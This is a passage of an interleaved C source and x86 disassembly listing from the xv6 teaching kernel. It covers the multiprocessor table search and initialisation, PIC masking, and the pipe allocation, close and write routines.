addr = P2V(a);
80102f81: 05 00 00 00 80 add $0x80000000,%eax
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102f86: 89 e5 mov %esp,%ebp
80102f88: 56 push %esi
80102f89: 53 push %ebx
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
return (struct mp*)p;
return 0;
80102f8a: 31 db xor %ebx,%ebx
mpsearch1(uint a, int len)
{
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
80102f8c: 8d 34 10 lea (%eax,%edx,1),%esi
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102f8f: 83 ec 10 sub $0x10,%esp
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
80102f92: 39 f0 cmp %esi,%eax
80102f94: 73 3d jae 80102fd3 <mpsearch1+0x53>
80102f96: 89 c3 mov %eax,%ebx
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80102f98: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80102f9f: 00
80102fa0: c7 44 24 04 28 72 10 movl $0x80107228,0x4(%esp)
80102fa7: 80
80102fa8: 89 1c 24 mov %ebx,(%esp)
80102fab: e8 f0 13 00 00 call 801043a0 <memcmp>
80102fb0: 85 c0 test %eax,%eax
80102fb2: 75 16 jne 80102fca <mpsearch1+0x4a>
80102fb4: 31 d2 xor %edx,%edx
80102fb6: 66 90 xchg %ax,%ax
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
sum += addr[i];
80102fb8: 0f b6 0c 03 movzbl (%ebx,%eax,1),%ecx
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
80102fbc: 83 c0 01 add $0x1,%eax
sum += addr[i];
80102fbf: 01 ca add %ecx,%edx
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
80102fc1: 83 f8 10 cmp $0x10,%eax
80102fc4: 75 f2 jne 80102fb8 <mpsearch1+0x38>
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80102fc6: 84 d2 test %dl,%dl
80102fc8: 74 09 je 80102fd3 <mpsearch1+0x53>
{
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
80102fca: 83 c3 10 add $0x10,%ebx
80102fcd: 39 de cmp %ebx,%esi
80102fcf: 77 c7 ja 80102f98 <mpsearch1+0x18>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
return (struct mp*)p;
return 0;
80102fd1: 31 db xor %ebx,%ebx
}
80102fd3: 83 c4 10 add $0x10,%esp
80102fd6: 89 d8 mov %ebx,%eax
80102fd8: 5b pop %ebx
80102fd9: 5e pop %esi
80102fda: 5d pop %ebp
80102fdb: c3 ret
80102fdc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102fe0 <mpinit>:
return conf;
}
void
mpinit(void)
{
80102fe0: 55 push %ebp
80102fe1: 89 e5 mov %esp,%ebp
80102fe3: 57 push %edi
80102fe4: 56 push %esi
80102fe5: 53 push %ebx
80102fe6: 83 ec 2c sub $0x2c,%esp
uchar *bda;
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80102fe9: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax
80102ff0: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx
80102ff7: c1 e0 08 shl $0x8,%eax
80102ffa: 09 d0 or %edx,%eax
80102ffc: c1 e0 04 shl $0x4,%eax
80102fff: 85 c0 test %eax,%eax
80103001: 75 1b jne 8010301e <mpinit+0x3e>
if((mp = mpsearch1(p, 1024)))
return mp;
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
80103003: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax
8010300a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx
80103011: c1 e0 08 shl $0x8,%eax
80103014: 09 d0 or %edx,%eax
80103016: c1 e0 0a shl $0xa,%eax
if((mp = mpsearch1(p-1024, 1024)))
80103019: 2d 00 04 00 00 sub $0x400,%eax
8010301e: ba 00 04 00 00 mov $0x400,%edx
80103023: e8 58 ff ff ff call 80102f80 <mpsearch1>
80103028: 85 c0 test %eax,%eax
8010302a: 89 c6 mov %eax,%esi
8010302c: 0f 84 38 01 00 00 je 8010316a <mpinit+0x18a>
mpconfig(struct mp **pmp)
{
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103032: 8b 5e 04 mov 0x4(%esi),%ebx
80103035: 85 db test %ebx,%ebx
80103037: 0f 84 46 01 00 00 je 80103183 <mpinit+0x1a3>
return 0;
conf = (struct mpconf*) P2V((uint) mp->physaddr);
8010303d: 8d 93 00 00 00 80 lea -0x80000000(%ebx),%edx
80103043: 89 55 e4 mov %edx,-0x1c(%ebp)
if(memcmp(conf, "PCMP", 4) != 0)
80103046: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
8010304d: 00
8010304e: c7 44 24 04 2d 72 10 movl $0x8010722d,0x4(%esp)
80103055: 80
80103056: 89 14 24 mov %edx,(%esp)
80103059: e8 42 13 00 00 call 801043a0 <memcmp>
8010305e: 85 c0 test %eax,%eax
80103060: 0f 85 1d 01 00 00 jne 80103183 <mpinit+0x1a3>
return 0;
if(conf->version != 1 && conf->version != 4)
80103066: 0f b6 83 06 00 00 80 movzbl -0x7ffffffa(%ebx),%eax
8010306d: 3c 04 cmp $0x4,%al
8010306f: 0f 85 1b 01 00 00 jne 80103190 <mpinit+0x1b0>
return 0;
if(sum((uchar*)conf, conf->length) != 0)
80103075: 0f b7 bb 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edi
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
8010307c: 85 ff test %edi,%edi
8010307e: 74 21 je 801030a1 <mpinit+0xc1>
80103080: 31 d2 xor %edx,%edx
80103082: 31 c0 xor %eax,%eax
80103084: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sum += addr[i];
80103088: 0f b6 8c 03 00 00 00 movzbl -0x80000000(%ebx,%eax,1),%ecx
8010308f: 80
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
80103090: 83 c0 01 add $0x1,%eax
sum += addr[i];
80103093: 01 ca add %ecx,%edx
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
80103095: 39 c7 cmp %eax,%edi
80103097: 7f ef jg 80103088 <mpinit+0xa8>
conf = (struct mpconf*) P2V((uint) mp->physaddr);
if(memcmp(conf, "PCMP", 4) != 0)
return 0;
if(conf->version != 1 && conf->version != 4)
return 0;
if(sum((uchar*)conf, conf->length) != 0)
80103099: 84 d2 test %dl,%dl
8010309b: 0f 85 e2 00 00 00 jne 80103183 <mpinit+0x1a3>
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
801030a1: 8b 45 e4 mov -0x1c(%ebp),%eax
801030a4: 85 c0 test %eax,%eax
801030a6: 0f 84 d7 00 00 00 je 80103183 <mpinit+0x1a3>
panic("Expect to run on an SMP");
ismp = 1;
lapic = (uint*)conf->lapicaddr;
801030ac: 8b 83 24 00 00 80 mov -0x7fffffdc(%ebx),%eax
801030b2: 89 75 e0 mov %esi,-0x20(%ebp)
801030b5: a3 7c 26 11 80 mov %eax,0x8011267c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
801030ba: 0f b7 8b 04 00 00 80 movzwl -0x7ffffffc(%ebx),%ecx
801030c1: 8d 83 2c 00 00 80 lea -0x7fffffd4(%ebx),%eax
801030c7: 03 4d e4 add -0x1c(%ebp),%ecx
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
panic("Expect to run on an SMP");
ismp = 1;
801030ca: bb 01 00 00 00 mov $0x1,%ebx
801030cf: 90 nop
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
801030d0: 39 c8 cmp %ecx,%eax
801030d2: 73 23 jae 801030f7 <mpinit+0x117>
801030d4: 0f b6 10 movzbl (%eax),%edx
switch(*p){
801030d7: 80 fa 04 cmp $0x4,%dl
801030da: 76 07 jbe 801030e3 <mpinit+0x103>
case MPIOINTR:
case MPLINTR:
p += 8;
continue;
default:
ismp = 0;
801030dc: 31 db xor %ebx,%ebx
if((conf = mpconfig(&mp)) == 0)
panic("Expect to run on an SMP");
ismp = 1;
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
switch(*p){
801030de: 80 fa 04 cmp $0x4,%dl
801030e1: 77 f9 ja 801030dc <mpinit+0xfc>
801030e3: 0f b6 d2 movzbl %dl,%edx
801030e6: ff 24 95 6c 72 10 80 jmp *-0x7fef8d94(,%edx,4)
801030ed: 8d 76 00 lea 0x0(%esi),%esi
p += sizeof(struct mpioapic);
continue;
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
801030f0: 83 c0 08 add $0x8,%eax
if((conf = mpconfig(&mp)) == 0)
panic("Expect to run on an SMP");
ismp = 1;
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
801030f3: 39 c8 cmp %ecx,%eax
801030f5: 72 dd jb 801030d4 <mpinit+0xf4>
default:
ismp = 0;
break;
}
}
if(!ismp)
801030f7: 85 db test %ebx,%ebx
801030f9: 8b 75 e0 mov -0x20(%ebp),%esi
801030fc: 0f 84 98 00 00 00 je 8010319a <mpinit+0x1ba>
panic("Didn't find a suitable machine");
if(mp->imcrp){
80103102: 80 7e 0c 00 cmpb $0x0,0xc(%esi)
80103106: 74 12 je 8010311a <mpinit+0x13a>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103108: ba 22 00 00 00 mov $0x22,%edx
8010310d: b8 70 00 00 00 mov $0x70,%eax
80103112: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80103113: b2 23 mov $0x23,%dl
80103115: ec in (%dx),%al
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
80103116: 83 c8 01 or $0x1,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103119: ee out %al,(%dx)
}
}
8010311a: 83 c4 2c add $0x2c,%esp
8010311d: 5b pop %ebx
8010311e: 5e pop %esi
8010311f: 5f pop %edi
80103120: 5d pop %ebp
80103121: c3 ret
80103122: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
switch(*p){
case MPPROC:
proc = (struct mpproc*)p;
if(ncpu < NCPU) {
80103128: 8b 15 00 2d 11 80 mov 0x80112d00,%edx
8010312e: 83 fa 07 cmp $0x7,%edx
80103131: 7f 1b jg 8010314e <mpinit+0x16e>
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
80103133: 0f b6 78 01 movzbl 0x1(%eax),%edi
80103137: 69 d2 b0 00 00 00 imul $0xb0,%edx,%edx
ncpu++;
8010313d: 83 05 00 2d 11 80 01 addl $0x1,0x80112d00
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
switch(*p){
case MPPROC:
proc = (struct mpproc*)p;
if(ncpu < NCPU) {
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
80103144: 89 d6 mov %edx,%esi
80103146: 89 fa mov %edi,%edx
80103148: 88 96 80 27 11 80 mov %dl,-0x7feed880(%esi)
ncpu++;
}
p += sizeof(struct mpproc);
8010314e: 83 c0 14 add $0x14,%eax
continue;
80103151: e9 7a ff ff ff jmp 801030d0 <mpinit+0xf0>
80103156: 66 90 xchg %ax,%ax
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
ioapicid = ioapic->apicno;
80103158: 0f b6 50 01 movzbl 0x1(%eax),%edx
p += sizeof(struct mpioapic);
8010315c: 83 c0 08 add $0x8,%eax
}
p += sizeof(struct mpproc);
continue;
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
ioapicid = ioapic->apicno;
8010315f: 88 15 60 27 11 80 mov %dl,0x80112760
p += sizeof(struct mpioapic);
continue;
80103165: e9 66 ff ff ff jmp 801030d0 <mpinit+0xf0>
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
if((mp = mpsearch1(p-1024, 1024)))
return mp;
}
return mpsearch1(0xF0000, 0x10000);
8010316a: ba 00 00 01 00 mov $0x10000,%edx
8010316f: b8 00 00 0f 00 mov $0xf0000,%eax
80103174: e8 07 fe ff ff call 80102f80 <mpsearch1>
mpconfig(struct mp **pmp)
{
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103179: 85 c0 test %eax,%eax
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
if((mp = mpsearch1(p-1024, 1024)))
return mp;
}
return mpsearch1(0xF0000, 0x10000);
8010317b: 89 c6 mov %eax,%esi
mpconfig(struct mp **pmp)
{
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
8010317d: 0f 85 af fe ff ff jne 80103032 <mpinit+0x52>
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
panic("Expect to run on an SMP");
80103183: c7 04 24 32 72 10 80 movl $0x80107232,(%esp)
8010318a: e8 e1 d1 ff ff call 80100370 <panic>
8010318f: 90 nop
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
return 0;
conf = (struct mpconf*) P2V((uint) mp->physaddr);
if(memcmp(conf, "PCMP", 4) != 0)
return 0;
if(conf->version != 1 && conf->version != 4)
80103190: 3c 01 cmp $0x1,%al
80103192: 0f 84 dd fe ff ff je 80103075 <mpinit+0x95>
80103198: eb e9 jmp 80103183 <mpinit+0x1a3>
ismp = 0;
break;
}
}
if(!ismp)
panic("Didn't find a suitable machine");
8010319a: c7 04 24 4c 72 10 80 movl $0x8010724c,(%esp)
801031a1: e8 ca d1 ff ff call 80100370 <panic>
...
801031b0 <picinit>:
#define IO_PIC2 0xA0 // Slave (IRQs 8-15)
// Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware.
void
picinit(void)
{
801031b0: 55 push %ebp
801031b1: ba 21 00 00 00 mov $0x21,%edx
801031b6: 89 e5 mov %esp,%ebp
801031b8: b8 ff ff ff ff mov $0xffffffff,%eax
801031bd: ee out %al,(%dx)
801031be: b2 a1 mov $0xa1,%dl
801031c0: ee out %al,(%dx)
// mask all interrupts
outb(IO_PIC1+1, 0xFF);
outb(IO_PIC2+1, 0xFF);
}
801031c1: 5d pop %ebp
801031c2: c3 ret
...
801031d0 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
801031d0: 55 push %ebp
801031d1: 89 e5 mov %esp,%ebp
801031d3: 83 ec 28 sub $0x28,%esp
801031d6: 89 5d f4 mov %ebx,-0xc(%ebp)
801031d9: 8b 5d 0c mov 0xc(%ebp),%ebx
801031dc: 89 75 f8 mov %esi,-0x8(%ebp)
801031df: 8b 75 08 mov 0x8(%ebp),%esi
801031e2: 89 7d fc mov %edi,-0x4(%ebp)
struct pipe *p;
p = 0;
*f0 = *f1 = 0;
801031e5: c7 03 00 00 00 00 movl $0x0,(%ebx)
801031eb: c7 06 00 00 00 00 movl $0x0,(%esi)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
801031f1: e8 6a db ff ff call 80100d60 <filealloc>
801031f6: 85 c0 test %eax,%eax
801031f8: 89 06 mov %eax,(%esi)
801031fa: 0f 84 a6 00 00 00 je 801032a6 <pipealloc+0xd6>
80103200: e8 5b db ff ff call 80100d60 <filealloc>
80103205: 85 c0 test %eax,%eax
80103207: 89 03 mov %eax,(%ebx)
80103209: 0f 84 89 00 00 00 je 80103298 <pipealloc+0xc8>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
8010320f: e8 9c f2 ff ff call 801024b0 <kalloc>
80103214: 85 c0 test %eax,%eax
80103216: 89 c7 mov %eax,%edi
80103218: 74 7e je 80103298 <pipealloc+0xc8>
goto bad;
p->readopen = 1;
8010321a: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
80103221: 00 00 00
p->writeopen = 1;
80103224: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
8010322b: 00 00 00
p->nwrite = 0;
8010322e: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
80103235: 00 00 00
p->nread = 0;
80103238: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
8010323f: 00 00 00
initlock(&p->lock, "pipe");
80103242: 89 04 24 mov %eax,(%esp)
80103245: c7 44 24 04 80 72 10 movl $0x80107280,0x4(%esp)
8010324c: 80
8010324d: e8 be 0e 00 00 call 80104110 <initlock>
(*f0)->type = FD_PIPE;
80103252: 8b 06 mov (%esi),%eax
80103254: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
8010325a: 8b 06 mov (%esi),%eax
8010325c: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
80103260: 8b 06 mov (%esi),%eax
80103262: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
80103266: 8b 06 mov (%esi),%eax
80103268: 89 78 0c mov %edi,0xc(%eax)
(*f1)->type = FD_PIPE;
8010326b: 8b 03 mov (%ebx),%eax
8010326d: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
80103273: 8b 03 mov (%ebx),%eax
80103275: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
80103279: 8b 03 mov (%ebx),%eax
8010327b: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
8010327f: 8b 03 mov (%ebx),%eax
return 0;
80103281: 31 db xor %ebx,%ebx
(*f0)->writable = 0;
(*f0)->pipe = p;
(*f1)->type = FD_PIPE;
(*f1)->readable = 0;
(*f1)->writable = 1;
(*f1)->pipe = p;
80103283: 89 78 0c mov %edi,0xc(%eax)
if(*f0)
fileclose(*f0);
if(*f1)
fileclose(*f1);
return -1;
}
80103286: 89 d8 mov %ebx,%eax
80103288: 8b 75 f8 mov -0x8(%ebp),%esi
8010328b: 8b 5d f4 mov -0xc(%ebp),%ebx
8010328e: 8b 7d fc mov -0x4(%ebp),%edi
80103291: 89 ec mov %ebp,%esp
80103293: 5d pop %ebp
80103294: c3 ret
80103295: 8d 76 00 lea 0x0(%esi),%esi
//PAGEBREAK: 20
bad:
if(p)
kfree((char*)p);
if(*f0)
80103298: 8b 06 mov (%esi),%eax
8010329a: 85 c0 test %eax,%eax
8010329c: 74 08 je 801032a6 <pipealloc+0xd6>
fileclose(*f0);
8010329e: 89 04 24 mov %eax,(%esp)
801032a1: e8 7a db ff ff call 80100e20 <fileclose>
if(*f1)
801032a6: 8b 03 mov (%ebx),%eax
fileclose(*f1);
return -1;
801032a8: bb ff ff ff ff mov $0xffffffff,%ebx
bad:
if(p)
kfree((char*)p);
if(*f0)
fileclose(*f0);
if(*f1)
801032ad: 85 c0 test %eax,%eax
801032af: 74 d5 je 80103286 <pipealloc+0xb6>
fileclose(*f1);
801032b1: 89 04 24 mov %eax,(%esp)
801032b4: e8 67 db ff ff call 80100e20 <fileclose>
return -1;
}
801032b9: 89 d8 mov %ebx,%eax
801032bb: 8b 75 f8 mov -0x8(%ebp),%esi
801032be: 8b 5d f4 mov -0xc(%ebp),%ebx
801032c1: 8b 7d fc mov -0x4(%ebp),%edi
801032c4: 89 ec mov %ebp,%esp
801032c6: 5d pop %ebp
801032c7: c3 ret
801032c8: 90 nop
801032c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801032d0 <pipeclose>:
void
pipeclose(struct pipe *p, int writable)
{
801032d0: 55 push %ebp
801032d1: 89 e5 mov %esp,%ebp
801032d3: 83 ec 18 sub $0x18,%esp
801032d6: 89 5d f8 mov %ebx,-0x8(%ebp)
801032d9: 8b 5d 08 mov 0x8(%ebp),%ebx
801032dc: 89 75 fc mov %esi,-0x4(%ebp)
801032df: 8b 75 0c mov 0xc(%ebp),%esi
acquire(&p->lock);
801032e2: 89 1c 24 mov %ebx,(%esp)
801032e5: e8 96 0f 00 00 call 80104280 <acquire>
if(writable){
801032ea: 85 f6 test %esi,%esi
801032ec: 74 42 je 80103330 <pipeclose+0x60>
p->writeopen = 0;
801032ee: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx)
801032f5: 00 00 00
wakeup(&p->nread);
801032f8: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
801032fe: 89 04 24 mov %eax,(%esp)
80103301: e8 2a 0b 00 00 call 80103e30 <wakeup>
} else {
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
80103306: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx
8010330c: 85 d2 test %edx,%edx
8010330e: 75 0a jne 8010331a <pipeclose+0x4a>
80103310: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax
80103316: 85 c0 test %eax,%eax
80103318: 74 36 je 80103350 <pipeclose+0x80>
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
8010331a: 89 5d 08 mov %ebx,0x8(%ebp)
}
8010331d: 8b 75 fc mov -0x4(%ebp),%esi
80103320: 8b 5d f8 mov -0x8(%ebp),%ebx
80103323: 89 ec mov %ebp,%esp
80103325: 5d pop %ebp
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
80103326: e9 c5 0f 00 00 jmp 801042f0 <release>
8010332b: 90 nop
8010332c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
acquire(&p->lock);
if(writable){
p->writeopen = 0;
wakeup(&p->nread);
} else {
p->readopen = 0;
80103330: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx)
80103337: 00 00 00
wakeup(&p->nwrite);
8010333a: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
80103340: 89 04 24 mov %eax,(%esp)
80103343: e8 e8 0a 00 00 call 80103e30 <wakeup>
80103348: eb bc jmp 80103306 <pipeclose+0x36>
8010334a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
80103350: 89 1c 24 mov %ebx,(%esp)
80103353: e8 98 0f 00 00 call 801042f0 <release>
kfree((char*)p);
} else
release(&p->lock);
}
80103358: 8b 75 fc mov -0x4(%ebp),%esi
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
kfree((char*)p);
8010335b: 89 5d 08 mov %ebx,0x8(%ebp)
} else
release(&p->lock);
}
8010335e: 8b 5d f8 mov -0x8(%ebp),%ebx
80103361: 89 ec mov %ebp,%esp
80103363: 5d pop %ebp
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
kfree((char*)p);
80103364: e9 d7 ef ff ff jmp 80102340 <kfree>
80103369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103370 <pipewrite>:
}
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
80103370: 55 push %ebp
80103371: 89 e5 mov %esp,%ebp
80103373: 57 push %edi
80103374: 56 push %esi
80103375: 53 push %ebx
80103376: 83 ec 2c sub $0x2c,%esp
80103379: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
acquire(&p->lock);
8010337c: 89 1c 24 mov %ebx,(%esp)
8010337f: e8 fc 0e 00 00 call 80104280 <acquire>
for(i = 0; i < n; i++){
80103384: 8b 45 10 mov 0x10(%ebp),%eax
80103387: 85 c0 test %eax,%eax
80103389: 0f 8e 97 00 00 00 jle 80103426 <pipewrite+0xb6>
8010338f: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
if(p->readopen == 0 || myproc()->killed){
release(&p->lock);
return -1;
}
wakeup(&p->nread);
80103395: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi
pipewrite(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
8010339b: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
if(p->readopen == 0 || myproc()->killed){
release(&p->lock);
return -1;
}
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
801033a2: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi
801033a8: eb 3a jmp 801033e4 <pipewrite+0x74>
801033aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
if(p->readopen == 0 || myproc()->killed){
801033b0: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax
801033b6: 85 c0 test %eax,%eax
801033b8: 0f 84 82 00 00 00 je 80103440 <pipewrite+0xd0>
801033be: e8 6d 03 00 00 call 80103730 <myproc>
801033c3: 8b 48 24 mov 0x24(%eax),%ecx
801033c6: 85 c9 test %ecx,%ecx
801033c8: 75 76 jne 80103440 <pipewrite+0xd0>
release(&p->lock);
return -1;
}
wakeup(&p->nread);
801033ca: 89 3c 24 mov %edi,(%esp)
801033cd: e8 5e 0a 00 00 call 80103e30 <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
801033d2: 89 5c 24 04 mov %ebx,0x4(%esp)
801033d6: 89 34 24 mov %esi,(%esp)
801033d9: e8 b2 08 00 00 call 80103c90 <sleep>
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
801033de: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax
801033e4: 8b 93 34 02 00 00 mov 0x234(%ebx),%edx
801033ea: 81 c2 00 02 00 00 add $0x200,%edx
801033f0: 39 d0 cmp %edx,%eax
801033f2: 74 bc je 801033b0 <pipewrite+0x40>
return -1;
}
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
801033f4: 8b 4d 0c mov 0xc(%ebp),%ecx
801033f7: 8b 55 e4 mov -0x1c(%ebp),%edx
pipewrite(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
801033fa: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
return -1;
}
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
801033fe: 0f b6 14 11 movzbl (%ecx,%edx,1),%edx
80103402: 88 55 e3 mov %dl,-0x1d(%ebp)
80103405: 0f b6 4d e3 movzbl -0x1d(%ebp),%ecx
80103409: 89 c2 mov %eax,%edx
8010340b: 81 e2 ff 01 00 00 and $0x1ff,%edx
80103411: 83 c0 01 add $0x1,%eax
80103414: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1)
pipewrite(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
80103418: 8b 55 10 mov 0x10(%ebp),%edx
8010341b: 39 55 e4 cmp %edx,-0x1c(%ebp)
return -1;
}
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
8010341e: 89 83 38 02 00 00 mov %eax,0x238(%ebx)
pipewrite(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
80103424: 75 be jne 801033e4 <pipewrite+0x74>
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
80103426: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
8010342c: 89 04 24 mov %eax,(%esp)
8010342f: e8 fc 09 00 00 call 80103e30 <wakeup>
release(&p->lock);
80103434: 89 1c 24 mov %ebx,(%esp)
80103437: e8 b4 0e 00 00 call 801042f0 <release>
return n;
8010343c: eb 11 jmp 8010344f <pipewrite+0xdf>
8010343e: 66 90 xchg %ax,%ax
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
if(p->readopen == 0 || myproc()->killed){
release(&p->lock);
80103440: 89 1c 24 mov %ebx,(%esp)
80103443: e8 a8 0e 00 00 call 801042f0 <release>
return -1;
80103448: c7 45 10 ff ff ff ff movl $0xffffffff,0x10(%ebp)
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
